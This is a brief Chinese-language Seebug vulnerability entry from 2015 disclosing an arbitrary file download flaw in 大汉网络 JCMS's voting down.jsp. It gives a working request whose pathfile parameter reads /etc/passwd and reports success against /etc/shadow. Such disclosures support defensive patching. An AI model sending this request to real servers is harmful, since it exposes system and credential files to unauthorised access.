大汉网络JCMS module/voting/down.jsp任意文件下载

2015-12-07T00:00:00
ID SSV:90014
Type seebug
Reporter Root
Modified 2015-12-07T00:00:00

Description

权限没设置好,导致可以枚举文件名下载文件 /jcms/m_5_e/module/voting/down.jsp?filename=username&pathfile=/etc/passwd pathfile就对着自己的linux输入就行了,这里测试了几个 /etc/shadow /etc/shadow